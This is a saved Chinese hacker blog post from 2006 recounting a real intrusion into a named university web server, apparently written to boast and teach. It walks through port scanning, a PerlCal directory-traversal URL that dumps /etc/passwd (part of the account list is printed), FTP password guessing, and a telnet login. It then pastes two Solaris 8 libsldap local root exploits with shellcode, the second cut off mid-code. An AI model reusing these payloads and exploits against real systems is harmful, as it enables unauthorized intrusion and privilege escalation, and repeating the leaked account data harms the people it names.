        <%ST(A)%>
		<div id="Content_ContentList" class="content-width"><a name="body" accesskey="B" href="#body"></a>
			<div class="pageContent">
					<div style="float:right;width:180px !important;width:auto">
						  <a href="feed.asp?cateID=17" target="_blank" title="订阅所有黑客的日志" accesskey="F"><img border="0" src="images/rss.png" alt="订阅所有黑客的日志" style="margin-bottom:-1px"/> 订阅</a>
						   | <a href="?id=49" title="上一篇日志: 典型入侵日志分析" accesskey=","><img border="0" src="images/Cprevious.gif" alt=""/>上一篇</a> | <a href="?id=51" title="下一篇日志: 老教程新菜鸟:注射基础教学" accesskey="."><img border="0" src="images/Cnext.gif" alt=""/>下一篇</a>
					</div> 
						   <img src="images/icons/1.gif" style="margin:0px 2px -4px 0px" alt=""/> <strong><a href="default.asp?cateID=17" title="查看所有黑客的日志">黑客</a></strong> </div>
						   <div class="Content">
						   <div class="Content-top"><div class="ContentLeft"></div><div class="ContentRight"></div>
						     <h1 class="ContentTitle"><strong>一次利用show files类cgi漏洞成功入侵uta.edu的经历</strong></h1>
						     <h2 class="ContentAuthor">作者:apple 日期:2006-06-10</h2>
						   </div>
						    <div class="Content-Info">
							  <div class="InfoOther">字体大小: <a href="javascript:SetFont('12px')" accesskey="1">小</a> <a href="javascript:SetFont('14px')" accesskey="2">中</a> <a href="javascript:SetFont('16px')" accesskey="3">大</a></div>
							  <div class="InfoAuthor"><img src="images/weather/hn2_sunny.gif" style="margin:0px 2px -6px 0px" alt=""/><img src="images/weather/hn2_t_sunny.gif" alt=""/> <img src="images/level3.gif" style="margin:0px 2px -1px 0px" alt=""/> 
					              <$EditAndDel$>
							  </div>
							</div>
						  <div id="logPanel" class="Content-body">
					             很多人都不明白cgi 漏洞 的好的利用，大多数只会完unicode或idq之类简单的 漏洞 ，今天我就来谈谈我是怎么利用一个cgi 漏洞 攻克一台 solaris 8 的。 本来这文章也懒得写了，不过前阵子用这种思路K了好些网站之后，无痕大哥要我写出来，再加上傲气雄鹰这个居心不良的家伙喊我去做他 那里的 入侵 实例版的斑竹，我就只好利用今天下雨，来啃篇文章了，错误之处还请大家指正。 在我攻克的几家网站中，www.uta.edu是安全措施做的最好的，其他的也没什么困难，也不过是些过滤之类的麻烦。那么，我就把我攻克 uta.edu的过程写出来好了. <br/><br/>首先，我们ping一下：<br/><br/>ping www.uta.edu Pinging sun250.uta.edu [129.107.56.154] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 129.107.56.154: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms faint<br/><br/>看来装了防火墙或做了icmp过滤之类~~~@ _ @ 没关系,我们至少得到了ip. 我们再来,能够看到他的页面,说明80可能开了 那么,我们请出瑞士军刀netcat,嘻嘻,我最喜欢了. <br/><br/>nc -vv 129.107.56.154 80 sun250.uta.edu [129.107.56.154] 80 (http) open GET / HTTP/1.1 HTTP/1.1 400 Bad Request Date: Tue, 14 May 2002 07:03:02 GMT Server: Apache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 127 Bad Request Your browser sent a request that this server could not understand. client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): / 0 sent 16, rcvd 480: NOTSOCK <br/><br/>呵呵,又搞到不少有用信息.我来解释一下,在这里,我用get / http/1.1来取得他的webserver的相关信息:) 那么我们得到了什么呢?只知道了是apache~~~~faint,连版本都没搞到~~~@ _ @我愤怒了,于是请出扫描器之王namp~~~@ _ @ 嘻嘻,我个人认为nmap比shadow security scanner管用多了!!哈哈,特别是在版本的判断上 好,我们来扫.这里我用的是nt下的版本,在www.patching.net/abu有下载~~~@ _ @不过要先装winpcap---一个非常好的东西<br/><br/>nmap -sS -O -vv 129.107.56.154 Starting nmap V. 2.54BETA32 ( www.insecure.org/nmap ) Host sun250.uta.edu (129.107.56.154) appears to be up ... good. Initiating SYN Stealth Scan against sun250.uta.edu (129.107.56.154) Adding open port 443/tcp Adding open port 514/tcp Adding open port 111/tcp Adding open port 21/tcp Adding open port 587/tcp Adding open port 23/tcp Adding open port 6000/tcp Adding open port 80/tcp Adding open port 22/tcp Adding open port 32772/tcp Adding open port 32771/tcp Adding open port 3306/tcp The SYN Stealth Scan took 33 seconds to scan 1554 ports. For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled Interesting ports on sun250.uta.edu (129.107.56.154): (The 1532 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp filtered smtp 53/tcp filtered domain 80/tcp open http 111/tcp open sunrpc 137/tcp filtered netbios-ns 138/tcp filtered netbios-dgm 139/tcp filtered netbios-ssn 161/tcp filtered snmp 162/tcp filtered snmptrap 443/tcp open https 445/tcp filtered microsoft-ds 514/tcp open shell 587/tcp open submission 3306/tcp open my sql 6000/tcp open X11 6346/tcp filtered gnutella 6699/tcp filtered napster 32771/tcp open sometimes-rpc5 32772/tcp open sometimes-rpc7 Remote operating system guess: Sun Solaris 8 early acces beta through actual release OS Fingerprint: TSeq(Class=TR%IPID=I%TS=100HZ) T1(Resp=Y%DF=Y%W=60DA%ACK=S++%Flags=AS%Ops=NNTNWM) T2(Resp=N) T3(Resp=N) T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) T7(Resp=Y%DF=Y%W=0%ACK=S%Flags=AR%Ops=) PU(Resp=N) Uptime 7.325 days (since Tue May 07 07:03:54 2002) TCP Sequence Prediction: Class=truly random Difficulty=9999999 (Good luck!) TCP ISN Seq. Numbers: 3F1DE88F 900E621B 22316BB6 E50C108F D6DE4B4B 7089B80B IPID Sequence Generation: Incremental Nmap run completed -- 1 IP address (1 host up) scanned in 50 seconds <br/><br/>我来解释一下:)-sS 是选择用syn扫描,嘻嘻,原理不多说-O是判断主机类型,大家都知道nmap的利用tcp/ip堆栈判断系统类型很厉害.-vv是为了 看到详细过程! faint,这么多被filter的端口~~~@ _ @我KAO,连25的smtp和161的snmp都给filter了,这里32771和32772等是随机端口,说明有人在远程使用这个机 子~~~~@ _ @,看来今天要小心,上面有人!!不过还是有几个让我兴奋的端口,比如21,22,23,111,80,514,3306等. 好,我们再来看主机类型@ _ @faint,居然是Sun Solaris 8 early acces beta through actual release还好不是最新版,还有点办法~~~@ _ @不过 sunos5.8的大bug好象不多,管他的,先事事snmpdmid的那个古老的远程溢出~~~@ _ @结果failed,果然不出所料,这种大型网站一般比较坚挺~~~@ _ @ 恩,试了几个rpc都不行~~~@ _ @ 好了,第一轮探测结束,现在开始第二轮,再用nc,看下各个 服务 的banner再说~~~ 以下是nc的结果 220 sun250 FTP server (Version wu-2.6.2(1) Tue May 7 09:50:51 CDT 2002) ready. KAO,把我吓着了~~~@ _ @wuftp2.6.2,看来即使有帐号这条路也走不通了 SSH-2.0-OpenSSH _ 3.1p1 倒~~~@ _ @真是神仙~~~~这么高的版本,看来ssh这条路也难走~~~ telnet 23一下看,只看到是sunos5.8随便试了几个帐号比如test都没成功,这样不是办法啊~~~@ _ @ 啊,还有个3306的my sql 比较好看~~用客户端连连看,结果要 密码 ~~~faint 难道真的没有办法了吗~~~???我实在是不愿意走cgi这条路~~~@ _ @,唉,没办法,我们来吧~~~ 于是我拿出了sss(我们的shadow)先扫扫~~~@ _ @再看,由于我一直找不到好的cgi扫描器,所以目前一般用sss扫cgi,伤脑筋,谁有好的记得告诉我 让他慢慢扫了,我先去和x-laser打桌球去~~~@ _ @呵呵,x-laser今天去会考,祝他好运!唉,sss就是让我等的心急~~~~听歌去,现在日本新出个歌手 叫鬼束千寻 ,歌很不错啊~~~推荐大家听听..... sss扫好了,放眼望去,结果一般,不过有一个cgi 漏洞 ~~~-------cal _ make.pl,tmd,今天前面扯了这么久终于进入正题了!去hack.co.za的镜像翻 了翻,发现这个属于showfile类型,也就是说可以读取文件!!哈哈,描述如下<br/><br/>Name : PerlCal About : cal _ make.pl of the PerlCal script may allow remote users(website visitors) to view any file on a webserver (dependingon the user the webserver is running on). Exploit: <a href="http://www.VULNERABLE.com/cgi-bin/cal" target="_blank">http://www.VULNERABLE.com/cgi-bin/cal</a> _ make.pl?\ p0=../../../../../../../../../../../../etc/passwd%00 by: stan (stan@whizkunde.org) <br/><br/>这应该是一个计数器程序的 漏洞 ,嘿嘿,看来uta.edu百密必有一疏,cgi和udp一般是不被人重视的.我们现在试试这个 漏洞 看~~~@ _ @ 在浏览器输入 <a href="http://www.uta.edu/cgi-bin/perlcal/cal" target="_blank">http://www.uta.edu/cgi-bin/perlcal/cal</a> _ make.pl?p0=../../../../../../../../../../../../../etc/passwd%00 YAHOOOOOOOOOOOOOOOOOOOOO~~~~~~我们成功了,we got it~~~哈哈哈哈哈哈,爽,看到大量帐号,我有预感今天要发财. 显示如下<br/><br/>root:x:0:1:Super-User:/:/sbin/sh acctmgr:x:0:3040:PUID Account Manager:/home/acs/acctmgr:/usr/bin/tcsh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:No Access User:/: nobody4:x:65534:65534:SunOS 4.x Nobody:/: bbuser:x:200:3040:Big Brother User Account:/home/acs/bbuser:/usr/bin/tcsh lynx:x:201:50:Apache User:/:/usr/local/bin/false my sql :x:29840:1::/home/my sql :/bin/sh jth:x:12715:10:JASON T ....... <br/><br/>下面还有好多,限于篇幅就不写了~~~@ _ @不过,这是一个shadow过了passwd,怎么办?很多人到这里就放弃,不过如果我放弃了就做不了幻影旅团团 长了~~~~得到用户名的第一反应应该是高兴,特别是得到了大量的用户名的时候!因为意味着可能存在弱口令! 所以现在我们的思路就是分离出username然后做成字典,就可以跑了!这个时候,前面的ftp 服务 就显出其重要的地位了!!! 好了,说的轻松,要分离出用户名不是那么简单的!首先是这个的格式问题!浏览器里面的格式和passwd的标准格式存在出入 如果是标准格式,我们可以直接在 linux 下这样分离 假设pp是一个passwd文件 那么我 tt 通过这一句命令就实现了以上功能。写入了文件tt -d是把 “：”作为分隔符 ，-f是指取第一个字段 这样就就可以很方便的把users提出来 syshunter提供的一种方法是使用awk cat passwd│awk {if ($NF==bash) print $NF} 而这些的效果都不是很好,这个时候我的副团长atomic马上根据需要写了个小程序,用以分离username,非常好用 Atomic说: 回复:syshunter，atmoic我找到一种更简单的提炼用户名的方法 我的程序是多行/单行通吃的哦 无论你是所有文件集中在一行 (?../../../etc/passwd得到的) 还是!cat下来的都可以：） 哈哈,他的的确好用,而且是windows下的图形界面 :)同时有找出空口令的功能 可以 下载~~~@ _ @ 顺便提一句,以前coolfire的那个分离用户名的没作用@ _ @ 于是,我得到了几百个用户名!!!!马上挂上流光,跑ftp 晕~~~@ _ @开始一遍什么都没扫到~~@ _ @ KAO,我不信!几百个user会没有弱口令?不对,于是我放低线程 休息片克~~~终于有收获了~~~不过只有3个~~~ 我迫不及待的telnet上去,倒~~~@ _ @进不去,不会吧~~~~~再回过头看下passwd文件,倒~~~这个居然是没shell的faint 换~~~终于看到一个tt的帐号有shell 呵呵,好事多磨~~~,现在telnet上去喽~~!!!!!! 于是我得到了一个shell,我赶紧去找网页目录,find / -name index.htm -print 倒~~~找了很多,不过没一个是,看来是权限不够~~!! 我咬咬牙,决定得到他的root,先find一遍没有发现可用的 suid shell 恩,看来安全设置不错,幸好还允许我生成core文件,所以我准备来本地溢出. 在安焦上找了个 代码 ,嘿嘿,在国内我成功过的,现在来看看.<br/><br/>下面是关于sunos5.8的本地溢出<br/><br/> 首先solaris的gcc 一般在/usr/local/bin/gcc 所以可以在gcc上编译， 代码 在安焦有<br/><br/>==================================================== From: Noir Desir To: bugtraq@securityfocus.com Subject: Solaris 8 libsldap exploit Date: 2001-7-5 14:14:00 ==================================================== Hi, I wish to free this one since it has been made public by some ppl. libsldap hole has been known for long. As far as I know, sway@hack.co.za did actually found the hole several months ago and generously let me know about it. All propz goes to him. Thanks bro. Exploit is plain simple, tested on an Ultra10 and an Enterprise 3500 with success. I usually support the anti-sec movement but I got my reasons to publish the exploit. If you want to know why, please do mail me. $ ./libsldap-exp libsldap.so.1 $LDAP _ OPTIONS enviroment variable buffer overflow Exploit code: noir@gsu. linux .org.tr Bug discovery: sway@hack.co.za Usage: ./libsldap-exp target# target#: 0, /usr/bin/passwd Solaris8, Sparc64 target#: 1, /usr/bin/nispasswd Solaris8, Sparc64 target#: 2, /usr/bin/yppasswd Solaris8, Sparc64 target#: 3, /usr/bin/chkey Solaris8, Sparc64 target#: 4, /usr/lib/sendmail Solaris8, Sparc64 $ ./libsldap-exp 0 # id uid=0(root) gid=0(root) # PS: t(L)amer sahin kicina oyle bir tekme yiyeceksinki, agzindan cikicak. Haberin olsun istedim : ) Greetings: sway, anathema, gov-boi, www.hack.co.za, ertan _ kurt, cronos cheers, noir /** !!!PRIVATE!!! ** noir@gsu. linux .org.tr ** libsldap.so.1 $LDAP _ OPTIONS enviroment variable overflow exploit; ** **/ #include #define ADJUST 1 /* anathema@hack.co.za ** Solaris/SPARC shellcode ** setreuid(0, 0); setregid(0, 0); execve(/bin/sh, args, 0); */ char shellcode[] = \x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08 \x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08 \x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e \x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0 \xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08; struct type { char *string; char *path; long retaddr; }; struct type target[] = { { 0, /usr/bin/passwd Solaris8, Sparc64, /usr/bin/passwd, 0xffbefe98 }, { 1, /usr/bin/nispasswd Solaris8, Sparc64, /usr/bin/nispasswd, 0xffbefe98 }, { 2, /usr/bin/yppasswd Solaris8, Sparc64, /usr/bin/yppasswd, 0xffbefe98 }, { 3, /usr/bin/chkey Solaris8, Sparc64 , /usr/bin/chkey, 0xffbefea8 }, { 4, /usr/lib/sendmail Solaris8, Sparc64, /usr/lib/sendmail, 0xffbefeb8 }, { NULL, NULL, 0 } }; int i; unsigned long ret _ adr; char ldap[4000]; char egg[400]; char *envs[] = { ldap, egg, NULL }; main(int argc, char *argv[]) { if(!argv[1]) { fprintf(stderr, libsldap.so.1 $LDAP _ OPTIONS enviroment variable \ buffer overflow\nExploit code: noir@gsu. linux .org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n, argv[0]); for(i = 0; target.string != NULL; i++) fprintf(stderr,target#: %s\n, target.string); exit(0); } ret _ adr = target[atoi(argv[1])].retaddr; memset(egg, 0x00, sizeof egg); for(i = 0 ; i &lt; 400 - strlen(shellcode) ; i +=4) *(long *)&egg = 0xa61cc013; for (i= 0 ; i &lt; strlen(shellcode); i++) egg[200+i]=shellcode; for ( i = 0; i &lt; ADJUST; i++) ldap=0x58; for (i = ADJUST; i &lt; 4000; i+=4) { ldap[i+3]=ret _ adr & 0xff; ldap[i+2]=(ret _ 8 ) &0xff; ldap[i+1]=(ret _ 16 ) &0xff; ldap[i+0]=(ret _ 24 ) &0xff; } memcpy(ldap, LDAP _ OPTIONS=, 13); ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated execle(target[atoi(argv[1])].path, 12341234, (char *)0, envs); }<br/>编译后执行就是root了 ：）<br/><br/>补充一点,gcc一般sunos5.8都装了,5.7则不一定 @ _ @ 这个 代码 是noir写的,倒~~~noir不是一个 动画 不过这个noir倒是我的偶像哦~~~ 编译后运行,倒!~~~失败,原因不明,估计也是那个该死的root做了些很bt的西西.倒~~~ 我这次真的火了<br/>$uname -a SunOS sun250 5.8 Generic _ 108528-02 sun4u sparc SUNW,Ultra-250 KAO<br/>就是这个鸟版本,faint 我一气之下就去hack.co.za的镜像又拖了个exploit,呵呵,是lsd-pl写的,他们都东西我很喜欢,崇拜~~!!!!!!偶像!!!~~~!!!!@ _ @ 这个代码是hack.co.za上2001年7月才发布的,想必很多人都没有,赶快收好吧!! <br/><br/>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ /*## copyright LAST STAGE OF DELIRIUM jun 2001 poland *://lsd-pl.net/ #*/ /*## libsldap.so.1 #*/ #define NOPNUM 16000 #define ADRNUM 512 char setuidcode[]= \x90\x08\x3f\xff /* and %g0,-1,%o0 */ \x82\x10\x20\x17 /* mov 0x17,%g1 */ \x91\xd0\x20\x08 /* ta 8 */ ; char shellcode[]= \x20\xbf\xff\xff /* bn,a */ \x20\xbf\xff\xff /* bn,a */ \x7f\xff\xff\xff /* call */ \x90\x03\xe0\x20 /* add %o7,32,%o0 */ \x92\x02\x20\x10 /* add %o0,16,%o1 */ \xc0\x22\x20\x08 /* st %g0,[%o0+8] */ \xd0\x22\x20\x10 /* st %o0,[%o0+16] */ \xc0\x22\x20\x14 /* st %g0,[%o0+20] */ \x82\x10\x20\x0b /* mov 0xb,%g1 */ \x91\xd0\x20\x08 /* ta 8 */ /bin/ksh ; char jump[]= \x81\xc3\xe0\x08 /* jmp %o7+8 */ \x90\x10\x00\x0e /* mov %sp,%o0 */ ; static char nop[]=\x80\x1c\x40\x11; main(int argc,char **argv){ char buffer[30000],adr[4],*b,*envp[3]; int i,n=-1; printf(copyright LAST STAGE OF DELIRIUM jun 2001 poland //lsd-pl.net/\n); printf(libsldap.so.1 solaris 2.8 sparc\n\n); if(argc==1){ printf(usage: %s {passwd|chkey|sendmail}\n,argv[0]);exit(-1); } if(!strcmp(argv[1],passwd)) n=0; if(!strcmp(argv[1],chkey)) n=1; if(!strcmp(argv[1],sendmail)) n=2; if(n==-1) exit(-1); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+14900+8000; envp[0]=&buffer[0]; envp[1]=&buffer[1000]; envp[2]=0; b=&buffer[0]; sprintf(b,LDAP _ OPTIONS=); b+=13; for(i=0;i<br/><br/>
							<br/><br/>
						   <br/>
						   </div>
						   <div class="Content-body">
					             
							<img src="images/From.gif" style="margin:0px 2px -4px 0px" alt=""/><strong>文章来自:</strong> <a href="http://www.xoofeng.com/apple/" target="_blank">本站原创</a><br/>
							<img src="images/icon_trackback.gif" style="margin:0px 2px -4px 0px" alt=""/><strong>引用通告地址:</strong> <a href="http://www.xoofeng.com/apple/trackback.asp?tbID=50" target="_blank">http://www.xoofeng.com/apple/trackback.asp?tbID=50</a><br/>
						    <img src="images/tag.gif" style="margin:4px 2px -4px 0px" alt=""/><strong>Tags:</strong> <br/>
						   </div>
						   <div class="Content-bottom"><div class="ContentBLeft"></div><div class="ContentBRight"></div>评论: 0</a> | 引用: 0 | 查看次数: <$log_ViewNums$>
			</div></div></div>
